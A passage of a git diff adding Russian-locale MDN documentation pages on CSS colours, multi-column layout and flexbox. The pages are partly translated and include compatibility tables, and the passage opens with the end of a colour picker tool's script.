+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+
+ + +

{{CSSRef}}

+ +

Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зеленый / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).

+ +

Каждый цвет во время настройки представлен во всех 3-х стандартных форматах CSS, и, кроме того, на основе текущего выбранного цвета генерируется палитра для HSL, HSV и альфа-канала. Кнопкой "пипетка" можно переключаться между HSL или HSV форматами.

+ +

{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}

+ +

 

diff --git a/files/ru/web/css/css_colors/index.html b/files/ru/web/css/css_colors/index.html new file mode 100644 index 0000000000..065d14a98c --- /dev/null +++ b/files/ru/web/css/css_colors/index.html @@ -0,0 +1,116 @@ +--- +title: CSS Colors +slug: Web/CSS/CSS_Colors +tags: + - CSS + - Цвета + - Цвета в CSS +translation_of: Web/CSS/CSS_Color +--- +
{{CSSRef}}
+ +

CSS Colors - модуль в CSS, который работает с цветами, типами цветов и прозрачностью.

+ +

Руководство

+ +

Свойства

+ +
+
    +
  • {{cssxref("color")}}
    • +
  • {{cssxref("opacity")}}
    • +
+
+ +

Типы данных в CSS

+ +

{{cssxref("<color>")}}

+ +

Руководства

+ +

Нет.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Изначальное определение
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{CompatGeckoDesktop("1")}}3.03.51.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка1.0{{CompatGeckoMobile("1")}}6.06.01.0
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/css_columns/index.html b/files/ru/web/css/css_columns/index.html new file mode 100644 index 0000000000..ea227ced5d --- /dev/null +++ b/files/ru/web/css/css_columns/index.html @@ -0,0 +1,114 @@ +--- +title: CSS Columns +slug: Web/CSS/CSS_Columns +tags: + - CSS + - CSS Reference + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/CSS/CSS_Columns +--- +
{{CSSRef}}
+ +

CSS Columns is a module of CSS that defines a multi-column layout, allowing to express how content should flow between columns and how gaps and rules are handled.

+ +

Reference

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("break-after")}}
    • +
  • {{cssxref("break-before")}}
    • +
  • {{cssxref("break-inside")}}
    • +
  • {{cssxref("column-count")}}
    • +
  • {{cssxref("column-fill")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("column-rule")}}
    • +
  • {{cssxref("column-rule-color")}}
    • +
  • {{cssxref("column-rule-style")}}
    • +
  • {{cssxref("column-rule-width")}}
    • +
  • {{cssxref("column-span")}}
    • +
  • {{cssxref("column-width")}}
    • +
  • {{cssxref("columns")}}
    • +
+
+ +

Guides

+ +
+
Using CSS multi-column layouts
+
Step-by-step tutorial about how to build layouts using several columns.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Multicol')}}{{Spec2('CSS3 Multicol')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}} {{property_prefix('-webkit')}}{{CompatGeckoDesktop(9)}}{{property_prefix('-moz')}}1011.1
+ 15{{property_prefix('-webkit')}}		3.0 (522){{property_prefix('-webkit')}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{property_prefix('-webkit')}}{{compatGeckoMobile(22)}}{{property_prefix('-moz')}}1011.5
+ 32{{property_prefix('-webkit')}}		3.2{{property_prefix('-webkit')}}
+
diff --git a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html new file mode 100644 index 0000000000..8a4e3ce28b --- /dev/null +++ b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -0,0 +1,112 @@ +--- +title: Обратная совместимость Flexbox +slug: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +--- +
{{CSSRef}}
+ +

Flexbox очень хорошо поддерживается современными браузерами, однако есть несколько проблем, с которыми вы могли столкнуться. В этом руководстве мы рассмотрим, насколько хорошо flexbox поддерживается браузерами, а так же некоторые потенциальные проблемы, ресурсы и методы для создания обходных путей и запасных вариантов.

+ +

История flexbox

+ +

Как  и все спецификации CSS, flexbox претерпела огромное количество изменений, прежде чем стать Кандидатом в рекомендации W3C. У спецификации в этом статусе не должно быть значительных изменений, однако с предыдущими итерациями все было иначе.

+ +

Flexbox был реализован экспериментальным путем в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счете префиксы всеравно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.

+ +

В 2009 спецификация выглядела совсем по-другому. Чтобы создать flex-контейнер, вам нужно было использовать display: box и несколько box-* свойств, которые делали то, что сегодня вы понимаете под flexbox.

+ +

Очередное обновление спецификации поменяло синтаксис на display: flexbox — и опять с вендорными префиксами.

+ +

В конечном счете спецификация была обновлена, чтобы определить display: flex как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновленной версии спецификации отличная.

+ +

Существует несколько старых статей, которые описывают более ранние версии flexbox, их довольно легко вычислить по тому, как они описывают создание flex-контейнера. Если вы нашли что-то вроде  display: box или display: flexbox, то это уже устаревшая информация.

+ +

Поддержка браузерами

+ +

Браузеры отлично поддерживают flexbox, и на данный момент большинству из них не нужны префиксы для этого. Safari последним из основных браузеров избавился от префиксов после релиза Safari 9 в 2015. Два браузера, о которых вам нужно помнить для обеспечения кроссбраузерности, это:

+ +
    +
  • Internet Explorer 10, который внедрил display: flexbox версию спецификации с префиксом -ms-.
    • +
  • UC Browser, который все еще поддерживает спецификацию версии 2009 год с display: box и префиксом -webkit-.
    • +
+ +

Также возьмите на заметку, что Explorer 11 поддерживает современный display: flex, однако не без багов.

+ +

Common issues

+ +

The majority of issues with flexbox relate to the changes in the specification, as it has been developed, and the fact that many of us were attempting to use an experimental specification in production. If you are trying to ensure backwards compatibility with old versions of browsers, and in particular IE10 and 11, the Flexbugs site is a helpful resource. You will see that many of the listed bugs apply to old browser versions and are fixed in current browsers. Each of the bugs has a workaround listed — which can save you many hours of puzzling.

+ +

If you want to include very old browsers with flexbox support then you can include the vendor prefixes in your CSS in addition to the unprefixed version. This is becoming less and less of a requirement today as support is widespread.

+ +
.wrapper {
+  display: -webkit-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}
+ +

Autoprefixer Online is a useful way to see which prefixes are recommended, depending on how many versions you wish to go back with browser support. You can also check Can I Use for information about when prefixes were removed in browsers to make your decision.

+ +

Useful fallback techniques

+ +

Given that flexbox usage is initiated with value of the {{cssxref("display")}} property, when needing to support very old browsers which do not support flexbox at all, fallbacks can be created by overwriting one layout method with another. The specification defines what happens if you use other layout methods on an element which then becomes a flex item.

+ +

Floated items

+ +
+

“float and clear do not create floating or clearance of flex item, and do not take it out-of-flow.” - 3. Flex Containers

+
+ +

In the following live example, I have floated two blocks and then set display: flex on the container. The items are now flex items, which means they stretch to equal height. Any float behaviour does not apply.

+ +

You can test the fallback behaviour by removing display: flex from the wrapper.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}

+ +

display: inline-block

+ +

Once an inline-block item becomes a flex item, it is blockified and so behavior of display: inline-block like preserving white space between items no longer applies.

+ +

Remove display: flex to see the fallback behavior. You'll see white space added between the items, which is what happens when using display: inine-block as it prefers white space like other inline items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}

+ +

display: table-

+ +

The CSS table display properties are potentially very useful as a fallback, due to the fact that they allow design patterns such as full height columns and vertical centering and work back as far as Internet Explorer 8.

+ +

If you use display: table-cell on an item in your HTML it takes on the styling of an HTML table cell. CSS creates anonymous boxes to represent these items so that you do not need to wrap each item in a wrapper to represent the HTML table row, and a second one to represent the table element itself, You can’t see or style these anonymous boxes; they are there purely to fix up the tree.

+ +

If you then declare display: flex on the parent item, these anonymous boxes do not get created and so your item remains a direct child and can become a flex item — losing any of the table display features.

+ +
+

“Note: Some values of display normally trigger the creation of anonymous boxes around the original box. If such a box is a flex item, it is blockified first, and so anonymous box creation will not happen. For example, two contiguous flex items with display: table-cell will become two separate display: block flex items, instead of being wrapped into a single anonymous table.” - 4. Flex Items

+
+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}

+ +

The vertical-align property

+ +

The live example below demonstrates use of the {{cssxref("vertical-align")}} property along with display: inline-block. Both display: table-cell and display: inline-block allow for the use of this property. Use of vertical-align enables vertical alignment prior to flexbox. The property is ignored by flexbox and so you can use it in conjunction with display: table-cell or display: inline-block as a fallback and then safely use box alignment properties in flexbox instead.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}

+ +

Feature Queries and flexbox

+ +

You can use feature queries to detect flexbox support:

+ +
@supports (display: flex) {
+  // code for supporting browsers
+}
+ +

Note that Internet Explorer 11 does not support feature queries yet does support flexbox. If you decide the IE11 implementation is too buggy and you wish to serve it the fallback layout then you could use feature queries to serve flexbox rules only to those browsers with good flexbox support. Remember that if you want to include versions of browsers that had vendor-prefixed flexbox you would need to include the prefixed version in your feature query. The following feature query would include UC Browser, which supports feature queries and old flexbox syntax, prefixed:

+ +
@supports (display: flex) or (display: -webkit-box) {
+  // code for supporting browsers
+}
+ +

For more information about using Feature Queries see Using Feature Queries in CSS on the Mozilla Hacks blog.

+ +

Conclusion

+ +

While I’ve spent some time in this guide going through potential issues and fallbacks, flexbox is very much ready for you to be using in production work. This guide will help you in those cases where you do come across an issue or have the requirement to support older browsers.

diff --git a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html new file mode 100644 index 0000000000..347d429eb4 --- /dev/null +++ b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -0,0 +1,228 @@ +--- +title: Основные понятия Flexbox +slug: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +--- +
{{CSSRef}}
+ +

CSS модуль раскладки Flexible Box, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье дается краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.

+ +

Когда мы описываем flexbox как одномерно-направленный, мы  имеем в виду, что flexbox имеет дело с макетом в одной плоскости за раз – либо в виде строки, либо в виде столбца. Как альтернативу можно упомянуть двумерную модель CSS Grid Layout, которая управляет и столбцами и строками одновременно.

+ +

Flexbox: две оси

+ +

При работе с flexbox нужно мыслить с точки зрения двух осей – главной оси и побочной оси. Главная ось определяется свойством {{cssxref ("flex-direction")}}, а побочная ось проходит перпендикулярно ей. Все, что мы делаем с flexbox, относится к этим осям, поэтому стоит с самого начала понять, как они работают.

+ +

Главная ось

+ +

Главная ось определяется свойством flex-direction, которая может принимать одно из следующих значений:

+ +
    +
  • row
    • +
  • row-reverse
    • +
  • column
    • +
  • column-reverse
    • +
+ +

Если вы выберете row или row-reverse, ваша главная ось будет проходить в горизонтальном направлении (inline direction).

+ +

If flex-direction is set to row the main axis runs along the row in the inline direction.

+ +

Если вы выберете column или column-reverse, ваша главная ось будет проходить в вертикальном направлении (block direction).

+ +

If flex-direction is set to column the main axis runs in the block direction.

+ +

Побочная ось

+ +

Побочная ось проходит перпендикулярно главной оси, поэтому, если свойство flex-direction (главная ось) задано как row или row-reverse, побочная ось будет проходить в вертикальном направлении.

+ +

If flex-direction is set to row then the cross axis runs in the block direction.

+ +

Если свойство flex-direction задано как column или column-reverse, побочная ось будет проходить в горизонтальном направлении.

+ +

If flex-direction is set to column then the cross axis runs in the inline direction.

+ +

Понимание того, с какой осью вы работаете (главная или побочная) очень важно для дальнейшего изучения Flexbox.

+ +

Начало и конец строки

+ +

Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы верстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.

+ +

Вы можете прочитать больше о взаимосвязи между flexbox и спецификацией Writing Modes в следующей статье, однако следующее описание должно помочь объяснить, почему мы не говорим о левом, правом, верхнем и нижнем направлениях наших flex-элементов.

+ +

Если свойству flex-direction задано значение row и вы работаете с английским языком, то начало главной оси будет слева, а конец главной оси – справа.

+ +

Working in English the start edge is on the left.

+ +

Если бы вы работаете с арабским языком, то начало главной оси будет справа, а конец главной оси – слева.

+ +

The start edge in a RTL language is on the right.

+ +

В обоих случаях начало побочной оси находится вверху flex контейнера, а конец – внизу, поскольку оба языка имеют режим горизонтальной записи.

+ +

Спустя некоторое время становится естественным думать о начале и конце оси, а не о левом и правом краях. Это будет полезно для вас при работе с другими методами, такими как CSS Grid Layout, которые следуют тем же шаблонам.

+ +

Flex контейнер

+ +

Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаем значение flex или inline-flex для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.

+ +
    +
  • Элементы отображаются в ряд (свойство flex-direction по умолчанию имеет значение row).
    • +
  • Позиционирование элементов начинается от начала главной оси.
    • +
  • Элементы не растягиваются по основной оси, но могут сжиматься.
    • +
  • Элементы будут растягиваться, чтобы заполнить размер побочной оси.
    • +
  • Свойству {{cssxref("flex-basis")}} задано значение auto.
    • +
  • Свойству {{cssxref("flex-wrap")}} задано значение nowrap.
    • +
+ +

Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обернуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.

+ +

Вы можете увидеть принцип работы в живом примере ниже. Попробуйте отредактировать или добавить дополнительные элементы, чтобы проверить поведение flexbox.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 480)}} 

+ +

Изменение flex-direction

+ +

Добавление свойства {{cssxref ("flex-direction")}} в контейнер позволяет нам изменять направление, в котором отображаются наши элементы flex. Установка flex-direction: row-reverse сохранит порядок отображаения элементов вдоль строки, однако начало и конец строки поменяются местами.

+ +

Если изменить значение свойства flex-direction на column, главная ось изменится, и наши элементы будут отображаются в столбец. При установке параметра column-reverse, начало и конец стобца поменяются местами.

+ +

В приведенном ниже примере значение свойства flex-direction установлено как row-reverse. Попробуйте другие значения — row, column иcolumn-reverse, чтобы посмотреть как изменятся элементы контейнера.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}

+ +

Многострочный флекс-контейнер с flex-wrap

+ +

Несмотря на то, что флекс-бокс - это однонаправленная модель, есть возможность завернуть наши флекс-элементы в несколько строк. При этом вы должны рассматривать каждую строку как новый флекс контейнер. Распределение пространства будет происходить на этой конкретной линии, не привязываясь к соседним линиям.

+ +

Чтобы включить такое поведение, добавьте параметр {{cssxref("flex-wrap")}} со значением wrap. Теперь, как только ваши элементы будут слишком большими для того, чтобы влезать на одну строчку, они будут переноситься на новые строки. Живой пример ниже содержит широкие элементы, у которых общая ширина больше, чем размер контейнера. Так как параметр flex-wrap установлен в значение wrap, элементы переносятся. Если Вы установите значение nowrap, то есть в начальное значение, то элементы ужмутся так, чтобы все элементы поместились на одной строке, потому что у них установлено значение, позволяющее им ужиматься при необходимости. Если им запретить ужиматься, или если они не смогут ужаться достаточно сильно, то при установленном значении nowrap будет происходить переполнение контейнера.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}

+ +

Более подробно эту тема разбирается в статье Разбираемся с обёртыванием Flex элементов.

+ +

Краткая запись направления и многострочности: flex-flow

+ +

Вы можете указать два свойства flex-direction и flex-wrap в одном {{cssxref("flex-flow")}}. Первое значение свойства определяет flex-direction, второе flex-wrap.

+ +

В приведенном ниже примере вы можете изменить первое значение на одно из доступных для flex-direction - row, row-reverse, column or column-reverse, а второе на wrap или nowrap, чтобы посмотреть как изменятся элементы контейнера.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}

+ +

Свойства, применяемые к флекс-элементам

+ +

Управлять поведением флекс-элементов более детально мы можем с помощью их собственных свойств:

+ +
    +
  • {{cssxref("flex-grow")}}
    • +
  • {{cssxref("flex-shrink")}}
    • +
  • {{cssxref("flex-basis")}}
    • +
+ +

В этом обзоре мы лишь кратко рассмотрим эти свойства. Чтобы получить более глубокое понимание обратитесь к руководству Управление соотношением элементов вдоль главной оси.

+ +

Чтобы понять как работают эти свойства, прежде нам необходимо разобраться с концепцией доступного пространства. Изменяя значения этих флекс свойств, мы влияем на то, как доступное пространство распределяется между нашими элементами. Эта концепция так же важна для выравнивания элементов.

+ +

Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остается 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.

+ +

This flex container has available space after laying out the items.

+ +

Если вместо этого мы хотим чтобы элементы росли и заполняли собой свободное пространство, нам нужно указать способ распределения оставшегося пространства между элементами. Это как раз то для чего предназначены flex свойства.

+ +

Свойство flex-basis

+ +

Свойство flex-basis определяет размер доступного пространства элемента. Начальное значение этого свойства - auto - в этом случае браузер проверяет, имеют ли элементы размер. В приведенном выше примере все элементы имеют ширину 100px, и этот размер читается браузером как flex-basis.
+ Если элементы не имеют размера, то для размера flex-basis используется размер контента. Вот почему, когда мы просто объявляем display: flex на родительском элементе для создания flex-элементов, все элементы перемещаются в ряд и занимают столько места, сколько им нужно для отображения их содержимого.

+ +

Свойство flex-grow

+ +

With the flex-grow property set to a positive integer, flex items can grow along the main axis from their flex-basis. This will cause the item to stretch and take up any available space on that axis, or a proportion of the available space if other items are allowed to grow too.

+ +

If we gave all of our items in the example above a flex-grow value of 1 then the available space in the flex container would be equally shared between our items and they would stretch to fill the container on the main axis.

+ +

The flex-grow property can be used to distribute space in proportion. If we give our first item a flex-grow value of 2 and the other items a value of 1, 2 parts will be given to the first item (100px out of 200px in the case of the example above), 1 part each the other two (50px each out of the 200px total).

+ +

Свойство flex-shrink

+ +

Where the flex-grow property deals with adding space in the main axis, the flex-shrink property controls how it is taken away. If we do not have enough space in the container to lay out our items and flex-shrink is set to a positive integer the item can become smaller than the flex-basis. As with flex-grow different values can be assigned in order to cause one item to shrink faster than others — an item with a higher value set for flex-shrink will shrink faster than its siblings that have lower values.

+ +

The minimum size of the item will be taken into account while working out the actual amount of shrinkage that will happen, which means that flex-shrink has the potential to appear less consistent than flex-grow in behavior. We’ll therefore take a more detailed look at how this algorithm works in the article Controlling Ratios of items along the main axis.

+ +
+

Note that these values for flex-grow and flex-shrink are proportions. Typically if we had all of our items set to flex: 1 1 200px and then wanted one item to grow at twice the rate, we would set that item to flex: 2 1 200px. However you could use flex: 10 1 200px and flex: 20 1 200px if you wanted.

+
+ +

Краткая запись значений флекс свойств

+ +

You will very rarely see the flex-grow, flex-shrink, and flex-basis properties used individually; instead they are combined into the {{cssxref("flex")}} shorthand. The flex shorthand allows you to set the three values in this order — flex-grow, flex-shrink, flex-basis.

+ +

The live example below allows you to test out the different values of the flex shorthand; remember that the first value is flex-grow. Giving this a positive value means the item can grow. The second is flex-shrink — with a positive value the items can shrink, but only if their total values overflow the main axis. The final value is flex-basis; this is the value the items are using as their base value to grow and shrink from.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 510)}}

+ +

There are also some predefined shorthand values which cover most of the use cases. You will often see these used in tutorials, and in many cases these are all you will need to use. The predefined values are as follows:

+ +
    +
  • flex: initial
    • +
  • flex: auto
    • +
  • flex: none
    • +
  • flex: <positive-number>
    • +
+ +

Setting flex: initial resets the item to the initial values of Flexbox. This is the same as flex: 0 1 auto. In this case the value of flex-grow is 0, so items will not grow larger than their flex-basis size. The value of flex-shrink is 1, so items can shrink if they need to rather than overflowing. The value of flex-basis is auto. Items will either use any size set on the item in the main dimension, or they will get their size from the content size.

+ +

Using flex: auto is the same as using flex: 1 1 auto; everything is as with flex:initial but in this case the items can grow and fill the container as well as shrink if required.

+ +

Using flex: none will create fully inflexible flex items. It is as if you wrote flex: 0 0 auto. The items cannot grow or shrink but will be laid out using flexbox with a flex-basis of auto.

+ +

The shorthand you often see in tutorials is flex: 1 or flex: 2 and so on. This is as if you used flex: 1 1 0. The items can grow and shrink from a flex-basis of 0.

+ +

Try these shorthand values in the live example below.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}

+ +

Alignment, justification and distribution of free space between items

+ +

A key feature of flexbox is the ability to align and justify items on the main- and cross-axes, and to distribute space between flex items.

+ +

align-items

+ +

The {{cssxref("align-items")}} property will align the items on the cross axis.

+ +

The initial value for this property is stretch and this is why flex items stretch to the height of the tallest one by default. They are in fact stretching to fill the flex container — the tallest item is defining the height of that.

+ +

You could instead set align-items to flex-start in order to make the items line up at the start of the flex container, flex-end to align them to the end, or center to align them in the centre. Try this in the live example — I have given the flex container a height in order that you can see how the items can be moved around inside the container. See what happens if you set the value of align-items to:

+ +
    +
  • stretch
    • +
  • flex-start
    • +
  • flex-end
    • +
  • center
    • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}

+ +

justify-content

+ +

The {{cssxref("justify-content")}} property is used to align the items on the main axis, the direction in which flex-direction has set the flow. The initial value is flex-start which will line the items up at the start edge of the container, but you could also set the value to flex-end to line them up at the end, or center to line them up in the centre.

+ +

You can also use the value space-between to take all the spare space after the items have been laid out, and share it out evenly between the items so there will be an equal amount of space between each item. To cause an equal amount of space on the right and left of each item use the value space-around. With space-around, items have a half-size space on either end. Or, to cause items to have equal space around them use the value space-evenly. With space-evenly, items have a full-size space on either end.

+ +

Try the following values of justify-content in the live example:

+ +
    +
  • flex-start
    • +
  • flex-end
    • +
  • center
    • +
  • space-around
    • +
  • space-between
    • +
  • space-evenly
    • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}

+ +

In the article Aligning Items in a Flex Container we will explore these properties in more depth, in order to have a better understanding of how they work. These simple examples however will be useful in the majority of use cases.

+ +

Next steps

+ +

After reading this article you should have an understanding of the basic features of Flexbox. In the next article we will look at how this specification relates to other parts of CSS.

diff --git a/files/ru/web/css/css_flexible_box_layout/index.html b/files/ru/web/css/css_flexible_box_layout/index.html new file mode 100644 index 0000000000..d271a2bd8b --- /dev/null +++ b/files/ru/web/css/css_flexible_box_layout/index.html @@ -0,0 +1,124 @@ +--- +title: CSS Flexible Box Layout +slug: Web/CSS/CSS_Flexible_Box_Layout +tags: + - CSS + - CSS Flexible Boxes + - CSS Reference + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/CSS/CSS_Flexible_Box_Layout +--- +

{{CSSRef}}

+ +

Способ CSS раскладки Flexible Box (CSS Flexible Box Layout или Flexbox) — это способ CSS раскладки, означающий блочную модель CSS, оптимизированную для построения пользовательских интерфейсов. Во флекс-модели потомки флекс-контейнера могут выстраиваться в любом направлении (право/лево, верх/низ), растягиваться, заполняя свободное пространство, или сжиматься во избежание переполнения родительского контейнера. Доступно различное выравнивание потомков по горизонтали и вертикали. Комбинация из родительского и вложеных блоков позволяют создавать такой layout, при котором элементы автоматически выстраиваются в столбы или строки.

+ +

Базовый пример

+ +

В следующем примере контейнер объявлен как display:flex, таким образом его три потомка становятся флекс-элементами. Свойству justify-content присвоено значение space-between для того, чтобы, во-первых, задать между элементами равные интервалы по основной оси, и, во-вторых, «примагнитить» первый и последний элементы к левому и правому краям контейнера соответственно. Также можно заметить, что флекс-элементы растянуты перпендикулярно оси; это происходит из-за того, что дефолтным значением align-items является stretch. Так как высота родительского контейнера не задана, элементы растягиваются по высоте и принимают значение высоты самого высокого из них.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}

+ + + +

Reference

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("flex")}}
    • +
  • {{cssxref("flex-basis")}}
    • +
  • {{cssxref("flex-direction")}}
    • +
  • {{cssxref("flex-flow")}}
    • +
  • {{cssxref("flex-grow")}}
    • +
  • {{cssxref("flex-shrink")}}
    • +
  • {{cssxref("flex-wrap")}}
    • +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("order")}}
    • +
+
+ +

Guides

+ +
+
Using CSS flexible boxes
+
Step-by-step tutorial about how to build layouts using this feature.
+
Using flexbox to lay out Web applications
+
Tutorial explaining how to use flexbox in the specific context of Web applications.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Flexbox') }}{{ Spec2('CSS3 Flexbox') }}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("20.0")}}21.0{{property_prefix("-webkit")}}
+ 29.0		10.0{{property_prefix("-ms")}}
+ 11.0		12.106.1{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}4.41112.107.1{{property_prefix("-webkit")}}
+
diff --git a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html new file mode 100644 index 0000000000..0df3168e3a --- /dev/null +++ b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html @@ -0,0 +1,100 @@ +--- +title: Разбираемся с обёртыванием Flex элементов +slug: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items +tags: + - CSS + - Flex + - flexbox + - grid + - сворачивание элементов + - флекс + - флексбокс +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items +--- +

{{CSSRef}}

+ +

Flexbox был разработан как однонаправленный макет, то есть он подразумевает укладывание элементов либо в строчку, либо в столбец, но не одновременно и то и другое. Тем не менее, есть возможность завернуть элементы в несколько строк, создавая новые строки. Это делается с помощью установки свойства {{cssxref("flex-direction")}} (flex-направление) в значение row (строки) или создавая новые столбцы, устанавливая свойство flex-direction в значение column (столбец). В этой статье я объясню, как это работает, зачем это придумали и в каких случаях лучше использовать технологию CSS Grid Layout вместо флекс-боксов.

+ +

Делаем вещи завёрнутыми

+ +

